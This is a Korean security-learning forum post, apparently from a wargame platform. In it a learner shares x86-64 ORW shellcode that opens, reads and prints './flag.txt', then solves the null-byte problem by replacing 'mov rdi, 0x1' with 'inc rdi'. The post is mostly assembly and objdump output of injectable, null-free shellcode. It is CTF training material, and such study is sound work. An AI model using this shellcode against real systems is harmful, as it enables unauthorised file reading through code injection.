완료됨
리눅스 64비트 RDI 널 바이트 제거 질문입니다.

혼자서 ORW 쉘코드를 만들고 널 바이트를 제거하는데 27번째 줄에 있는 RDI를 어떻게 처리해야 할지 모르겠어서 질문 올립니다 ㅠㅠ
아래는 어셈블리 코드입니다.

  1 section .text
  2
  3 global _start
  4
  5 _start:
  6     xor rax, rax
  7     push rax
  8     mov ax, 0x7478
  9     push rax
 10     mov rax, 0x742e67616c662f2e
 11     push rax
 12     mov rdi, rsp
 13     xor rsi, rsi
 14     xor rdx, rdx
 15     xor rax, rax
 16     mov al, 0x2
 17     syscall
 18
 19     mov rdi, rax
 20     mov rsi, rsp
 21     sub rsp, 0x11
 22     mov dl, 0x11
 23     xor rax, rax
 24     syscall
 25
 26     xor rdi, rdi
 27     mov rdi, 0x1
 28     xor rax, rax
 29     mov al, 0x1
 30     syscall
 31
 32     xor rdi, rdi
 33     xor rsi, rsi
 34     xor rdx, rdx
 35     xor rax, rax
 36     mov al, 0x3c
 37     syscall

이 밑에는 objdump로 기계어를 확인했을 때입니다.
401038 여기 주소의 널 바이트를 제거하고 싶습니다.....

orw:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:       48 31 c0                xor    %rax,%rax
  401003:       50                      push   %rax
  401004:       66 b8 78 74             mov    $0x7478,%ax
  401008:       50                      push   %rax
  401009:       48 b8 2e 2f 66 6c 61    movabs $0x742e67616c662f2e,%rax
  401010:       67 2e 74
  401013:       50                      push   %rax
  401014:       48 89 e7                mov    %rsp,%rdi
  401017:       48 31 f6                xor    %rsi,%rsi
  40101a:       48 31 d2                xor    %rdx,%rdx
  40101d:       48 31 c0                xor    %rax,%rax
  401020:       b0 02                   mov    $0x2,%al
  401022:       0f 05                   syscall
  401024:       48 89 c7                mov    %rax,%rdi
  401027:       48 89 e6                mov    %rsp,%rsi
  40102a:       48 83 ec 11             sub    $0x11,%rsp
  40102e:       b2 11                   mov    $0x11,%dl
  401030:       48 31 c0                xor    %rax,%rax
  401033:       0f 05                   syscall
  401035:       48 31 ff                xor    %rdi,%rdi
  401038:       bf 01 00 00 00          mov    $0x1,%edi
  40103d:       48 31 c0                xor    %rax,%rax
  401040:       b0 01                   mov    $0x1,%al
  401042:       0f 05                   syscall
  401044:       48 31 ff                xor    %rdi,%rdi
  401047:       48 31 f6                xor    %rsi,%rsi
  40104a:       48 31 d2                xor    %rdx,%rdx
  40104d:       48 31 c0                xor    %rax,%rax
  401050:       b0 3c                   mov    $0x3c,%al
  401052:       0f 05                   syscall
#시스템_해킹 #공격기법
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
탈퇴한 이용자
대표 업적 없음

아!!!!!! 해결했네요 !!!!!! :D
27번째 줄에서 mov 쓰지 않고 단순하게 inc rdi 하면 되는 것을 헤매고 있었습니다 (어셈블리 명령어 좀 자세히 들여다볼걸ㅠㅠ)

orw:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:       48 31 c0                xor    %rax,%rax
  401003:       50                      push   %rax
  401004:       66 b8 78 74             mov    $0x7478,%ax
  401008:       50                      push   %rax
  401009:       48 b8 2e 2f 66 6c 61    movabs $0x742e67616c662f2e,%rax
  401010:       67 2e 74
  401013:       50                      push   %rax
  401014:       48 89 e7                mov    %rsp,%rdi
  401017:       48 31 f6                xor    %rsi,%rsi
  40101a:       48 31 d2                xor    %rdx,%rdx
  40101d:       48 31 c0                xor    %rax,%rax
  401020:       b0 02                   mov    $0x2,%al
  401022:       0f 05                   syscall
  401024:       48 89 c7                mov    %rax,%rdi
  401027:       48 89 e6                mov    %rsp,%rsi
  40102a:       48 83 ec 11             sub    $0x11,%rsp
  40102e:       b2 11                   mov    $0x11,%dl
  401030:       48 31 c0                xor    %rax,%rax
  401033:       0f 05                   syscall
  401035:       48 31 ff                xor    %rdi,%rdi
  401038:       48 ff c7                inc    %rdi
  40103b:       48 31 c0                xor    %rax,%rax
  40103e:       b0 01                   mov    $0x1,%al
  401040:       0f 05                   syscall
  401042:       48 31 ff                xor    %rdi,%rdi
  401045:       48 31 f6                xor    %rsi,%rsi
  401048:       48 31 d2                xor    %rdx,%rdx
  40104b:       48 31 c0                xor    %rax,%rax
  40104e:       b0 3c                   mov    $0x3c,%al
  401050:       0f 05                   syscall
2022.07.17. 21:55